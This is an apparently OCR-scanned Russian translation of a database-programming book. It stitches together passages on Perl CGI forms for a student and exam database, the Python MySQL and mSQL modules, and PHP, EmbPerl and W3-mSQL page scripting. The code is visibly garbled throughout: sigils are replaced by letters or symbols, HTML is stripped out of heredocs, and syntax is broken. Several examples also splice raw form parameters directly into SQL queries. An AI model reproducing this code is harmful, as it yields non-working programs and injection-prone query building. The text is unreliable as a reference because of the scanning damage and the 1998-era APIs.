    Форма, используемая для поиска учащегося с целью изменения, настолько сходна с формами для просмотра данных и для добавления, что во всех трех случаях используется одна функция, print_form , показанная ниже:

    sub print_form {

    my ($action,$message,$any) = @_;

    print <




    $message



    END_OF_HTML

    if ($any) {

    print <Поиск

    выбранные вами.

    END_OF_HTML

    У

    print <
    Имя:



    Отчество:



    Фамилия:



    МЛ./III/И т.д..:



    Адрес:




    Город:



    Штат:



    Почтовый индекс:



    Телефон:



    Возраст:



    Пол:





    Записан на:

    END_OF_HTML

    &print_subjects("MULTIPLE SIZE=5");

    }

    Благодаря использованию трех параметров эта функция настраивает шаблон формы так, что может использоваться в самых различных целях. Обратите внимание, что эта вспомогательная функция использует другую вспомогательную функцию, print_subjects . Последняя выводит список всех имеющихся предметов из таблицы subject, как в примере Msql.pm.

    sub print_subjects { my $modifier = "";

    $modifier = shift if @_;

    print qq%\n";

    }

    Параметры поиска, введенные в первую форму, передаются функции search2, фактически осуществляющей поиск. На самом деле это функция, написанная для поиска учащегося, данные о котором нужно показать. Поскольку она делает как раз то, что нам требуется, мы можем ею воспользоваться, если сообщим ей, что после поиска хотим перейти

    к следующей функции изменения, change2. Для этого мы ввели в форму скрытую переменную subaction=change2 . Она сообщает search2, куда отправить пользователя дальше:

    sub search2 {

    my $out = $dbh->query(&make_search_query);


    my $hits = $out->numrows;

    my $subaction = "view";

    $subaction = param('subaction')

    if param('subaction');

    print header, start_html('title'=>'Результаты поиска учащихся', 'BGCOLOR'=>'white');

    if (not Shits) {

    print <
    <Н1>Учащихся не найдено



    He найдено учащихся, удовлетворяющих вашему критерию.

    END_OF_HTML } else {

    print <

    Найдено $hits учащихся

    <р>



    END_OF_HTML

    while(my(%fields)=$out->fetchhash) {

    print qq%


  • $fields{'first'} $fields{'middle'} $fields{'last'}%;

    print ", $fields{'ext'}" if $fields{'ext'};

    print "\n
    "; } }

    print <
    HcKaTb снова.



    END_OF_HTML }

    С помощью функции make_search_query эта функция сначала ищет учащихся, отвечающих критериям поиска. Затем она выводит список найденных записей, среди которых пользователь может сделать выбор. ID выбранной записи передается функции change2, как показано ниже:

    sub change2 {

    my $out = $dbh->query

    ("select * from student where id=$id");

    my($did,Ifirst,$middle,$last,

    $ext,Ssubjects.Sage,$sex,$address,

    $city,$state,$zip,$phone) = $out->fetch row;

    my ©subjects = split(/:/,$subjects);

    shift,©subjects;

    my $name = "$first $tmiddle $last";

    if ($ext) { $name .= ", $ext"; }

    print header, start_html('title'=>"$name", 'BGCOLOR'=>'white');

    print <

    $name









    Имя:




    Отчество:



    Фамилия:



    МЛ./III/И т.д.



    Адрес:



    Город:



    Штат:



    Почтовый индекс:



    Телефон:




    Возраст:



    Пол:

    END_OF_HTML

    my %sexes = ( '1' => 'Мужской',

    '2' => 'Женский' );

    print popup_menu('name'=>'Пол', 'values'=>["!', '2'], 'default'=>"$sex", ' labels'=>\%sexes);

    print <
    Записан на:


    END_OF_HTML

    my @ids = ();

    my %subjects = ();

    my $out2 = $dbh->query("select id, name from subject order by name");

    while(my($id,$subject)=$out2->fetchrow) { push(@ids,Sid);

    $subjects{"$id"} = $subject; }

    print scrolling_list('name'=>'subjects', 'values'=>[@ids], 'default'=>[@subjects], 'size'=>5, 'multiple'=>'true', 'labels'=>\%subjects);

    print <
    <р>









    END_OF_HTML

    }

    Главная задача этой функции - вывести форму, очень похожую на ту, которую порождает print^from. Однако значениями по умолчанию в этой форме должны быть те, которые соответствуют выбранному учащемуся. В результате пользователь может редактировать одни поля, оставляя другие неизменными.


    Несколько функций, предоставляемых модулем CGI.pm, оказываются очень удобными при выводе формы со значениями, установленными по умолчанию, особенно функция CGI: :scrolling_list , выводящая блок HTML Предмет: END_OF_HTML
    my @ids = (); my %subjects = ();

    my $out2 = $dbh->prepare("select id,name from subject order by name" $out2->execute;

    # DBI: :fetchrow_array() совершенно аналогична Msql: :fetchrow()
    while(my($id,$subject)=$out2->fetchrow_array) {
    push(@ids,Sid); $subjects{"$id"} = Ssubject; }

    print popup_menu('name'=>'subjects', 'values'=>[@ids], 'default'=>$subject, 'labels'=>\%subjects);
    print <
    Число вопросов:
    Название или идентификатор (например, дата) экзамена:


    <Р>




    END_OF_HTML }

    Эта функция выводит форму, позволяющую пользователю выбрать предмет для экзамена, а также количество вопросов и название. Для вывода списка имеющихся предметов выполняется запрос к таблице предметов. При выполнении в DBI запроса SELECT он должен быть сначала подготовлен, а затем выполнен. Функция DBI::prepare полезна при работе с некоторыми серверами баз данных, позволяющими осуществить операции над подготовленными запросами, прежде чем выполнить их. Для MySQL и mSQL это означает лишь запоминание запроса до вызова функции DBI:: execute .


    Результаты работы этой функции посылаются функции add2, как по-: казано ниже:

    sub add2 {

    my Ssubject = param('subjects');

    [

    my $num = param('num');

    $name = param('name') if param('name');

    my $out = $dbl"prepare("select name from subject where id=$subject");

    $out->execute;

    my (Ssubname) = $out->fetchrow_a.rray;

    print header, start_html('title'=>"Создание экзамена по предмету $subname", ' BGCOLOR'=>'white');

    print <

    Создание экзамена по предмету $subname

    $name















    Введите количество баллов за каждый правильный ответ.

    Сумма баллов не обязательно должна равняться 100.

    <Р> END_OF_HTML

    for (1..$num) {

    print qq%$_: %; if (not.$_ % 5)
    { print "
    \n"; } } print <


    Введите текст экзамена:





    END_OF_HTML }

    Эта функция динамически генерирует форму для экзамена, основываясь на параметрах, введенных в предыдущей форме. Пользователь может ввести количество баллов для каждого вопроса экзамена и полный текст самого экзамена. Выходные данные этой функции посылаются завершающей функции add3, как показано ниже:

    sub add3 {

    my $subject = para'm( 'subjects');
    my $num = param('num');

    $name = param('name') if param('name');

    my $qname;

    ($qname = $name) =" s/'/\\'/g;

    my $q1 = "insert into test (id, name, subject, num) values ( '.'-, '$qname', $subject, $num)";


    my Sin = $dbh->prepare($q1); $in->execute;

    # Извлечем значение ID , которое MySQL создал для нас
    my $id = $in->insertid;

    my $query = "create table t$id ( id INT NOT NULL,

    my $def = "insert into t$id values ( 0, ";

    my $total = 0;

    my @qs = grep(/^q\d+$/,param);

    foreach (@qs) {

    $query .= $_ . " INT,\n";

    my $value = 0;

    $value = param($_) if param($_);

    $def .= "lvalue, ";

    $total += $value; }

    $query .= "total INT\n)"; $def .=-"$total)";

    my $in2 = $dbh->prepare($query);

    $in2->execute;

    my $in3 = $dbh->prepare($def);

    $in3->execute;

    # Обратите внимание, что мы запоминаем экзамены в отдельных файлах. Это

    # полезно при работе с mSQL, поскольку он не поддерживает BLOB.
    # (Тип TEXT, поддерживаемый в mSQL 2, можно использовать,

    # но это неэффективно.)

    # Поскольку мы используем MySQL, можно с таким же успехом

    # поместить весь экзамен в BLOB.
    open(TEST,">teach/tests/$id") or die("A: $id $!");
    print TEST param('test'), "\n";

    close TEST;

    print header, start_html('title'=>'Экзамен создан', 'BGCOLOR'=>'white');

    print < <Н1>Экзамен создан

    Экзамен создан.

    <р>

    <А HREF=".">Перейти на домашнюю страницу 'В помощь учителю'.

    <А HREF="test.cgi">nepeimi на главную страницу экзаменов.

    <А HREF="test.cgi?actio,n=add">Добавить следующий экзамен.



    END_OF_HTML

    }

    Теперь введем информацию об экзамене в базу данных. При этом мы шагнем дальше обычного ввода данных, который видели до сих пор. Данные по экзаменам достаточно сложны, поэтому каждый экзамен лучше хранить в собственной таблице. Вместо добавления данных в существующую таблицу мы создадим совершенно новую таблицу для каждого экзамена. Сначала мы создадим ID для нового экзамена с помощью функции автоинкрементирования MySQL и введем название и ID экзамена в таблицу с именем test. Эта таблица является просто указателем на экзамены, по ней можно легко найти ID любого экзамена. Затем мы создадим одновременно два запроса. Первый будет запросом CREATE TABLE, который определит наш новый экзамен. Второй запрос будет иметь тип INSERT и запишет в нашу таблицу максимальные баллы по каждому вопросу. Эти запросы будут отправлены серверу базы данных, что завершит весь процесс (после вывода пользователю страницы с сообщением об успешном завершении). Позднее, после сдачи экзамена учащимися, для каждого учащегося будет создана запись в таблице экзамена. Эти записи могут быть сравнены с максимальными значениями для определения оценки учащегося.



    Динамическое соединение с базами данных

    Тот метод API, который мы до сих пор обсуждали в этой главе, дает, в сущности, все необходимое для простых и наиболее часто встречающихся повседневных задач выборки, вставки, обновления и удаления данных в базе. В некоторых более сложных приложениях может оказаться, что вы ничего (или чего-нибудь) не знаете о базе данных, с которой соединяетесь и которой посылаете команды. Хотя оба API поддерживают метаданные уровня базы данных - информацию времени выполнения о базе данных, с которой соединены, - только MySQL API обеспечивает полную поддержку динамически генерируемых вызовов SQL, включая метаданные результирующего набора.

    Описатели команд в MySQL

    Как уже отмечалось, в MySQL есть два средства обработки запросов. Более простая форма возвращает результирующий набор в виде списка списков. Более сложная форма возвращает описатель команды.

    Описатель команды представляет результаты обработки запроса к MySQL через метод query() (в противоположность использованию метода do()). Пример 11-2 показывает, как можно использовать описатель команды для получения информации времени выполнения о запросе или команде обновления.

    Пример 11-2. Динамический доступ к базе данных MySQL с помощью описателя команды

    [7:20pm] athens> python

    Python 1.5.1 (#1, Jun 13 1998, 22:38:15) [GCC 2.7.2] on- sunos5

    Copyright 1991-1995 Stichting Mathematisch Centrum, Amsterdam

    >>> import MySQL;

    >>> db = MySQL,con.nect();

    >>> db.selectdb('db_test-);

    >>> result - db.query("INSERT INTO test(test_id,test_val) VALUES(4,

    'Bing!')");

    >>> print result.affectedrows();

    1

    >>> result = db.query("SELECT * FROM test");

    >>> print result. numrows();

    3

    >>> print result.fields();

    [['test_id', 'test', 'long', 11, 'notnull'], ['test_val', 'test', 'string',

    100, "]]

    >>> print result, fetchrows(-l);

    [[1, 'This is a test.'], [2, 'This is a test.'], [4. 'Bing!']]

    >>>

    В дополнение к результирующему набору запроса можно с помощью описателя команды получить число строк, затронутых операциями обновления, вставки или удаления. В примере 11-2 мы получили количество строк, возвращенных запросом, и подробные сведения о колонках, представленных в результирующем наборе.


    Из новых методов, появившихся в примере 11-2, только fetchrows() не является самоочевидным. Этот метод получает очередную группу строк в количестве, определяемом переданным ему параметром. Иными словами, при вызове result. fetchrows(2) возвращается список, состоящий из очередных двух строк. Метод возвращает список, состоящий из всех строк, если ему передан параметр, меньший 0 — как в данном примере. Сочетая этот метод с обращением к seek(), можно перемещаться по результирующему набору. Метод seek() принимает целочисленный параметр, указывающий на строку, с которой вы хотите работать, при этом 0 указывает на первую строку.

    Метаданные базы данных

    Хотя только MySQL API поддерживает динамическое управление результирующим набором (по крайней мере, на момент данной публикации), оба API поддерживают метаданные базы данных с помощью почти идентичных наборов методов. Метаданные базы данных представляют собой информацию о соединении с базой данных. В примере 11-3 приведена сессия Python, заставляющая соединения с MySQL и mSQL рассказать о себе.

    Пример 11-3. Данные

    [7:56pm] athens> python

    Python 1.5.1 (#1, Jun 13 1998, 22:38:15) [GCC 2.7.2] on sunos5

    Copyright 1991-1995 Stichting Mathematisch Centrum, Amsterdam

    >>> import mSQL, MySQL;

    >>> msql = mSQL.connect();

    >>> mysql = MySQL.connect();

    >>> print msql.listdbs();

    ['db_test', 'db_web']

    >>> print mysql.listdbs();

    [['dbjest'], ['mysql'], ['test']]

    >>> msql.selectdb('db_test');

    >>> mysql.selectdb('db_test');

    >>> print msql. listtables();

    ['test', 'hosts']

    >>> print mysql.listtables();

    [['test']]

    >>> print msql.serverinfo;

    2.0.1

    >>> print mysql.serverinfo();

    3.21.17a-beta-log

    >>> print mysql.clientinfo();

    MySQL-Python-1.1

    >>> print msql.hostname;

    None

    >>> print mysql.hostinfo();

    Localhost via UNIX socket

    >>> print mysql.stat();

    Uptime: 4868410 Running threads: 1 Questions: 174 Reloads: 4 Open tables: 4

    >>> print mysql.listprocesses();

    None

    >>>

    В этом примере долгая серия обращений к методам обеспечивает вывод расширенной информации о соединениях с базами данных. В ряде случаев mSQL предоставляет эту информацию через неизменяемые атрибуты, а не методы. MySQL API предоставляет значительно больше сведений, чем mSQL. Обратитесь к справочному разделу части III "Справочник" за полным описанием этих методов и атрибутов.

    Если вы пишете много программ

    Python

    Если вы пишете много программ на Perl, но не знакомы с Python, вам определенно следует познакомиться с ним. Python является объектно-ориентированным языком сценариев, сочетающим мощь таких языков, как Perl и Tсl, с понятным синтаксисом, что позволяет создавать приложения, которые легко поддерживать и развивать. Отличное введение в программирование на Python дается в книге Марка Лутца (Mark Lutz) и Дэвида Эшера (David Asher) "Learning Python", изданной O'Reilly & Associates, Inc. В данной главе предполагается наличие у читателя знакомства с основами языка Python, включая умение добавлять новые модули к начальной инсталляции Python.

    Поддержка баз данных MySQL и mSQL со стороны Python, которая является предметом данной главы, осуществляется посредством двух модулей Python. В момент публикации данной книги модуль для mSQL был доступен на http://www.python.org, а для MySQL - на http://www.mysql.com. Хотя есть несколько других модулей, обеспечивающих приложениям Python доступ к MySQL и mSQL, они, как и эти два, являются, в основном, вариациями на тему С API для MySQL и mSQL. Для доступа к выбранной вами базе данных и выполнения примеров этой главы необходимо установить один или оба этих модуля.

    Оба API практически одинаковы, поэтому мы будем рассказывать сразу об обоих, оговаривая.места, где между ними есть различия.



    Основы подключения к базам данных

    API для Python являются, вероятно, самыми простыми API для работы с базами данных из всех, встречающихся в этой книге. Как и для других API, начать нужно с подключения к базам данных — установления соединения. Поскольку Python имеет интерактивный интерфейс, продемонстрировать соединение проще всего с помощью интерпретатора командной строки. Ниже показаны две сессии Python, демонстрирующие простое соединение с базами данных MySQL и mSQL соответственно. В первом примере производится соединение с базой данных MySQL:

    [4:30pm] athens> python

    Python 1.5.1 (#1, Jun 13 1998, 22:38:15) [GCC 2.7.2] on sunos5

    Copyright 1991-1995 Stichting Mathematisch Centrum, Amsterdam

    >>> import MySQL;

    >>> db = MySQL.connect( 'athens. imaginary.com');

    >>> db.selectdb('db_test');

    >>> result = db.do('select test_val from test where test_id = 1');

    >>> print result;

    [['This is a MySQL test.']]

    >>>

    Код для mSQL, делающий то же самое, выглядит почти идентично:

    [4:30pm] athens> python

    Python 1.5.1 (#1, Jun 13 1998, 22:38:15) [GCC 2.7.2] on sunos5

    Copyright 1991-1995 Stichting Mathematisch Centrum, Amsterdam

    >>> import mSQL;

    >>> db = mSQL.connect('athens. imaginary.com');

    >>> db.selectdb('db_test');

    >>> result = db.query('select test_val from test where test_id = 1');

    >>> print result;

    [('This is a mSQL test.',)]

    >>>

    В обоих случаях прежде всего нужно импортировать соответствующий модуль Python. He следует использовать синтаксис mSQL import *, так как он засорит пространство имен вашего приложения. Вместо этого в каждом модуле следует получить экземпляр описателя базы данных с помощью метода connect() и использовать этот описатель для доступа к базе данных.

    Вызов connect() в обоих API схож, но не одинаков. В приведенном примере подключения к MySQL мы подключаемся к базе данных, для которой разрешен глобальный доступ. Поскольку в этом случае не требуется указания имени пользователя или пароля, вызов connect() для сессии MySQL выглядит так же, как для сессии mSQL. Однако вы можете задать имя пользователя и пароль, если того требует ваша база данных MySQL. Например, db = MySQL.connect( 'athens. imaginary.com', 'myuid', 'password'); подключит вас к серверу MySQL на athens.imagi-nary.com в качестве "myuid" с паролем "password". Тот и другой API не требуют имени узла при локальном подключении. В этом случае они достаточно сообразительны и для более быстрого соединения используют сокет домена Unix (на Unix-системах).


    Процесс соединения в С API является двухэтапным и требует сначала соединиться с сервером, а затем выбрать базу данных, которую вы хотите использовать. Для API Python требуются те же шаги. Как для MySQL, так и для mSQL метод API для выбора базы данных практически одинаков: selectdb() . В большинстве случаев вы передаете этому методу единственный параметр - имя базы данных. MySQL поддерживает необязательный второй параметр, позволяющий потребовать, чтобы результирующий набор оставался на сервере, пока не будет запрошена каждая его строка. Этот вариант требуется только тогда, когда вы знаете, что память клиента ограниченна, или извлекаете очень большой результирующий набор.

    Запросы

    Эти два API слегка различаются в том способе, каким посылаются команды базе данных и обрабатываются возвращаемые результаты. API для mSQL очень прост и не имеет поддержки курсоров. Напротив, API для MySQL поддерживает простой mSQL API, а также более сложный набор методов API, которые более точно отражают С API и обеспечивают поддержку курсоров. При программировании на Python поддержка курсоров имеет сомнительную ценность, поскольку ни одна из этих баз данных не поддерживает редактирование по месту, а упрощенный API, показанный в интерактивных сессиях, позволяет перемещаться вперед и назад по результирующему набору с такой же легкостью, как и с помощью курсора. Однако далее в этой главе мы найдем применение для курсора, поскольку метод API, обеспечивающий поддержку курсора, обеспечивает также поддержку динамического доступа к базе данных.

    mSQL API и простая форма MySQL API позволяют приложению запрашивать базу данных и выводить результаты в виде списка. К несчастью, эти API имеют тривиальное, но неприятное различие в том, каким образом это делается. Во-первых, для mSQL метод запроса называется query(), а для MySQL он называется do(). Каждый из методов воспринимает в качестве аргумента любую строку SQL. Если команда порождает результирующий набор, он возвращается в виде списка: списка кортежей для mSQL и списка списков для MySQL.


    В большинстве случаев различие в типе возвращаемых значений несущественно: кортежи не могут изменяться. Код в большинстве случаев одинаков. Тем не менее следует помнить, что строки MySQL являются списками, а строки mSQL - кортежами, на случай, если вы столкнетесь с ситуацией, где это различие существенно. В примере 11-1 приводится простая Python-программа, обращающаяся к базам данных MySQL и mSQL и выводящая результаты.

    Пример 11-1. Обработка запросов в Python дд,я mSQL и MySQL

    #!\/usr/local/bin/python

    # Импорт модулей import Msql, MySQL;

    # Инициализация значений database и query

    database = 'db_test';

    query = 'SELECT test_id, test_val FROM test';

    # Соединение с серверами msql = mSQL.connect();

    mysql = MySQL.connect();

    # Выбор тестовых баз данных msql.selectdb(database);

    mysql.selectdb(database);

    # Выполнение запроса

    m_result = msql.query(query);

    my_result = mysql.do(query);

    #Обработка результатов для mSQL

    for row in m_result:

    # Здесь row является кортежем

    print "mSQL- test_id: ",row[0]," test_val: ",row[1];

    # Обработка результатов для MySQL

    for row in my_result:

    ft Здесь row является списком

    print "MySQL- test_id: ",row[0]," | test_val: ",row[1];

    # Закрыть соединение (только mSQL)

    msql.close();

    Для обеих баз данных, MySQL и mSQL, приложение просматривает в цикле каждую строку результирующего набора и выводит ее данные. В mSQL первый элемент кортежа представляет первую колонку запроса, а второй элемент - вторую колонку. Аналогично, первый элемент в списке MySQL представляет первую колонку запроса, а второй элемент - вторую колонку.

    Обновление

    Обновление, вставка и удаление в базе данных производится с помощью того же метода API, что и запросы, - просто не требуется обрабатывать результирующий набор. Иными словами, вызовите query() или do(), и больше ничего не требуется. В MySQL есть дополнительная возможность возврата значения AUTO_INCREMENT , если в затронутой таблице есть поле с атрибутом AUTO_INCREMENT .



    Альтернативные методы создания динамического содержания Web

    Впервые то, что сейчас мы называем Dynamic HTML, появилось в Web в виде Server Side Includes (SSI) - "включений на стороне сервера". В основе SSI лежит та мысль, что есть ряд часто встречающихся величин, таких как текущие дата и время, которые включать в HTML-страницу полезно, но непрактично, поскольку они очень часто изменяются. SSI дает способ, которым HTML-страница может потребовать от сервера включить в нее значения таких параметров перед тем, как послать страницу конечному пользователю. Благодаря этому параметр всегда имеет текущее значение, а создателю страницы нет необходимости непрерывно ее обновлять. Типичная директива SSI на странице HTML выглядит так:

    Saturday, 03-Jan-2026 06:47:43 MSK

    Проблема SSI в том, что набор данных, который сервер может легко предоставить, очень ограничен. Сверх даты, времени и способности включать другие файлы остается не много возможностей без того, чтобы сам веб-сервер не начал серьезно разрастаться.

    Вскоре стало ясно, что если сам веб-сервер не обеспечивает динамического HTML, он может появиться только из двух источников. Либо клиент, то есть веб-броузер, интерпретирует команды, либо какая-нибудь другая программа на сервере осуществляет предварительную обработку команд, выдавая конечному пользователю чистый HTML.

    Первый путь привел к JavaScript и аналогичным технологиям. В JavaScript, как и в SSI, команды встраиваются в HTML. В отличие от SSI, сервер не трогает команды JavaScript, их обрабатывает броузер. Такой способ предоставляет значительно лучшее взаимодействие с пользователем. Например, JavaScript позволяет определить действия, которые должны производиться при перемещении пользователем мыши над различными участками экрана. Благодаря этому удается создать ощущение непосредственности и интерактивности, недостижимые другими средствами. Вот пример типичного кода JavaScript:



    Трудность, вызываемая решениями, работающими только на стороне клиента, такими как JavaScript, состоит в том, что, как только клиент заканчивает загрузку страницы, связь с сервером теряется. Очень часто на сервере располагаются ресурсы, например, серверы баз данных, с которыми хотелось бы взаимодействовать. Однако сценарии, выполняемые на стороне клиента, обычно делают невозможной или неэффективной связь с сервером или другой удаленной машиной после того, как страница загружена. Такого рода функциональность больше соответствует решениям на стороне сервера.


    При наличии интерпретатора на стороне сервера документ HTML просматривается перед тем, как быть отосланным конечному пользователю. Какая-либо программа, обычно программа CGI, выявляет и выполняет программный код, встроенный в HTML. Преимущество такой системы в том, что используется мощь CGI-программы и значительная доля сложности остается скрытой.

    Предположим, что есть морская организация с базой данных об акулах. База данных содержит важную статистику по различным видам акул, а также имена файлов с изображениями этих тварей. Для создания веб-интерфейса к этой базе данных идеально применим HTML с интерпретацией на сервере. Все выходные страницы с информацией о выбранном виде акулы имеют идентичный формат. В местах, где требуются динамические данные из базы, можно вставить команды, которые будут выполнены до того, как пользователь увидит страницу. Можно даже генерировать динамические теги для показа желаемых изображений. Позднее в этой главе мы покажем, как можно реализовать этот пример с помощью различных интерпретаторов на сервере.



    и другие средства поддержки HTML,

    PHP и другие средства поддержки HTML, управляемого базами данных

    Есть несколько простых в использовании программных расширений HTML, обеспечивающих поддержку доступа к серверам баз данных MySQL и mSQL с веб-страниц. В этой главе мы начнем с W3-mSQL -средства для mSQL. Затем покажем менее связанный с конкретной базой данных подход с помощью РНР и двух небольших расширений Perl. Имеющийся в W3-mSQL язык сценариев Lite позволяет встраивать в HTML-файлы целые программы. CGI-программа выполняет сценарий и посылает клиенту результат в виде динамически создаваемого документа HTML.

    Поскольку W3-mSQL и другие расширения, рассматриваемые в данной главе, используют собственные языки сценариев и скрывают всякие признаки использования CGI, в этой главе не требуется знания предшествующего материала данного раздела. Однако при чтении главы может оказаться полезным понимание того, как работает CGI, a также наличие некоторого предшествующего опыта программирования (Lite сходен как с С, так и с Perl).



    РНР

    По самой своей природе W3-mSQL узко специализирована для использования с СУБД mSQL. Если вы используете MySQL или же W3-mSQL не покрывает всех ваших потребностей, то есть другие препроцессоры HTML, предлагающие поддержку баз данных.

    РНР, что означает "PHP: Hypertext Preprocessor" (препроцессор гипертекста), является приложением, очень близким по духу W3-mSQL. Оба приложения являются CGI-программами, интерпретирующими HTML перед отправкой броузеру окончательной страницы. Оба имеют встроенный язык сценариев. Более того, в обе программы тесно интегрированы возможности работы с базами данных. Однако РНР идет дальше W3-mSQL, предлагая совместимость с несколькими серверами баз данных, включая MySQL и mSQL.

    Язык сценариев РНР более богат и может использоваться в большем числе приложений, чем W3-mSQL. Короче, предпочтительнее использовать РНР, если только вы не привязаны к использованию mSQL в качестве сервера баз данных. В последнем случае более удобной для вас будет некоторая оптимизация, имеющаяся в W3-mSQL.

    С использованием РНР пример с базой данных по акулам может выглядеть так:

    <НТМL>

    <НЕАD>Результат поиска акул



    <Н1> Вот акулы, удовлетворяющие условиям поиска...

    <Р>
    /* Начинаем построение запроса. В результате типичный запрос

    * может выглядеть так:

    * SELECT * FROM SHARK WHERE SPECIES='Isurus Paucus' AND AGE=2 */

    $query = "select * from sharks where ";

    if ($species || $age || Slocation) {

    $query += " where "; }

    if ($species) { $query += "species = '$species'";
    }
    if ($age) {

    if ($species) { $query += " and "; }

    $query += "age = Sage";

    }

    if ($location) {

    if ($species || $age) { Squery += " and "; } $query += "location = '$location'";

    }

    $result = msql("sharks",Squery);

    if (result == -1) {

    echo("Error : $phperrmsg\n");

    exit(1); }


    Snumresults = msql_numrows($result);

    >




    if (! $numresults ); >

    <Н2> Результатов не найдено


    else {

    while-($i < $numresults) {

    $id[$i] = msql_result($result,$i,"id");

    $species[$i] = msql_result($result,$i,"species");

    $age[$i] = msql_result($result,$i,"age");

    $loc[$i] = msql_result($result,$i,"location");

    echo("
  • ");

    printf("", $id[$i]); echo("<В>Вид: $species[$i]
    ");

    if ($age[$i] == 1) { $age = "Молодые"; }

    else if ($age[$i] == 2) { $age = "Взрослые"; }

    else if {$age[$i] == 3) { $age = "Старые"; }

    echo("Age: $age
    ");

    echo("Paйoн $location[$i]
    ");

    }

    }

    }



    Hoый поиск





    Встроенный Perl

    Несколько модулей Perl и соответствующих программ позволяют встраивать код Perl в документ HTML. Перед отправкой окончательной страницы HTML броузеру этот код выполняется CGI-программой.

    Наиболее очевидное преимущество таких решений перед W3-mSQL и РНР заключается в том, что в качестве языка сценариев в HTML-файле используется обычный Perl. Будучи простыми в изучении и схожими по стилю с С и Perl, языки сценариев Lite и РНР все же являются уникальными патентованными языками, используемыми лишь с единственной целью. Напротив, Perl практически вездесущ. Это стандартный язык программирования, отлаживавшийся на протяжении многих лет и обладающий развитыми возможностями в отношении безопасности. В пользу такого типа решений есть убедительные аргументы.

    ePerl

    Первым приложением, позволившим встраивать код Perl в текст ASCII и, в частности, в документ HTML, был ePerl. Сама программа ePerl написана на С и предназначена для использования в качестве интерпретатора Perl общего назначения для документов ASCII. Она прекрасно работает с HTML, но не имеет специфических для HTML или веб-возможностей, предоставляемых некоторыми другими пакетами.

    EmbPerl

    Программа EmbPerl создана позднее, чем ePerl, и более ориентирована на HTML и Web. Она позволяет использовать дополнительные "метакоманды" - теги в стиле HTML, обрабатываемые EmbPerl, - которые вводят в сам HTML возможности ветвления и другие элементы программирования .

    В качестве примера встраивания кода Perl в файл HTML рассмотрим форму для вывода данных из базы данных по акулам, приводившуюся выше. Мы будем использовать в нашем примере EmbPerl, но поскольку используется стандартный Perl, код практически одинаков для различных средств встраивания Perl.



    <НЕАD><ТIТLЕ>Результаты поиска акул



    <Н1> Вот акулы, удовлетворяющие условиям поиска...

    <р>

    [-

    use Msql;

    use CGI qw(:standard);

    $dbh = Msql->connect; $dbh->selectdb("sharks");


    %age = ( '0' => 'Молодые',

    '1' => 'Взрослые',

    '2' => 'Старые'

    );

    # Начинаем построение запроса. В результате типичный запрос

    # может выглядеть так:

    # SELECT * FROM SHARK WHERE SPECIES='Isurus Paucus' AND AGE=2

    $query = "select * from sharks where ";

    if ( Sspecies or Sage or $location) {

    $query .= " where ";

    $query .= join(" and ", param); }

    Sresult = $dbh->query($query);

    if (result == -1) {

    echo("Error : " . Msql->errmsg . "\n");

    exlt(l);

    }

    Snumresults = $result->numrows;

    -]



    [$if (! Snumresults ) $]

    <Н2>Результатов не найдено [SelseS]

    [Swhile (%shark = $Msql->fetchhash($result)) $]





  • <В>Вид: [+$shark{'species'}+]

    <В>Возраст: [+$age{$shark{'age'}}+]

    <В>Район [+$shark{'location'}+]


    [;endwhile$] [;endif]

    Hoвый поиск



    W3-mSQL

    W3-mSQL является, в сущности, одной программой CGI, называющейся w3-msql. Программа фильтрует страницы HTML со встроенными командами W3-mSQL и посылает клиенту очищенный результирующий HTML. Команды W3-mSQL пишутся на специальном языке программирования, называемом Lite. Lite во многом схож с Perl и С, но разработан специально для взаимодействия с базами данных mSQL. Краткий справочник по функциям Lite есть в конце главы 18 "Справочник по PHP Lite". Для осуществления этого к URL для w3-msql добавляется путь к HTML-файлу, с расширениями W3-mSQL, например, http://www.me.com/cgi-bin/w3-msql/~me/mypage.html.

    Содержимое HTML-файла внутри тега интерпретируется как команды Lite. Например, эквивалент программы "Hello world!" на Lite выглядит так:

    Hello world!




    echo("Hello world!");
    >


    Все, что не находится внутри тегов , остается чистым HTML.

    mSQL автоматически устанавливает программу w3-msql, и вам остается только поместить ее в свой каталог cgi-bin.

    W3-Auth

    W3-Auth является механизмом, обеспечивающим защиту страниц, управляемых W3-mSQL. Он включается вместе с W3-mSQL и устанавливается автоматически с mSQL. С помощью W3-Auth можно создать иерархию пользователей и групп, которым разрешено использовать различные страницы с расширениями W3-mSQL.

    W3-Auth использует три различных уровня доступа: пользователь, группа и область. Пользователь отдельное имя, обычно относящееся к отдельному лицу, примерно как имя пользователя в Unix. Груп па является собранием пользователей. Область является разделом веб-сайта, который вы хотите защитить.

    Такая схема особенно полезна для сайтов со многими виртуальными узлами на одном веб-сервере. Допустим, например, что на вашем компьютере расположены виртуальные серверы с именами serverl, ser-ver2 и server3. Каждое из этих различных имен администрируется различными группами людей. Вы можете создать три разные области, охватывающие эти три сайта, и тогда члены каждой группы будут в состоянии управлять доступом к своей странице с расширениями W3-mSQL, но не смогут вмешаться в управление другими сайтами.


    Установка

    Обе программы, W3-mSQL и W3-Auth, компилируются и устанавливаются автоматически, вместе с дистрибутивом mSQL. После установки они находятся в MSQL_HOME/bin, где MSOL_HOME есть местонахождение файлов mSQL - по умолчанию /usr/local/Hughes. Исполняемые файлы w3-msql и w3-auth нужно скопировать в каталог cgi-bin вашего сервера или эквивалентный ему.

    После установки W3-Auth предполагает, что она сама и программа w3-msql находятся в каталоге cgi-bin вашего сайта. Если вы хотите поместить эти программы в другой каталог, нужно вручную изменить исходный код перед установкой mSQL. С помощью Perl это можно сделать следующим образом. Находясь в каталоге src/w3-msql дистрибутива mSQL, введите: perl -pi -e 's/cgi-bin/yourcgidirectory/g' *.c. Другой возможностью сделать то же самое является использование такого сценария:

    #!/bin/sh

    # Запустите это из каталога src/w3-msql своего дистрибутива с исходным кодом mSQL.

    for file in 'Is *.c'; do

    sed -e "s/cgi-bin/$1/" $file > $file.tmp

    mv $file.tmp $file

    done

    Скопируйте этот сценарий в ваш каталог src/w3-msql и введите следующую команду:

    ./scriptname yourcgidirectory

    Здесь scriptname является именем сценария, a yourcgidirectory - именем каталога, который будет содержать исполняемые файлы w3-msql и w3-auth.

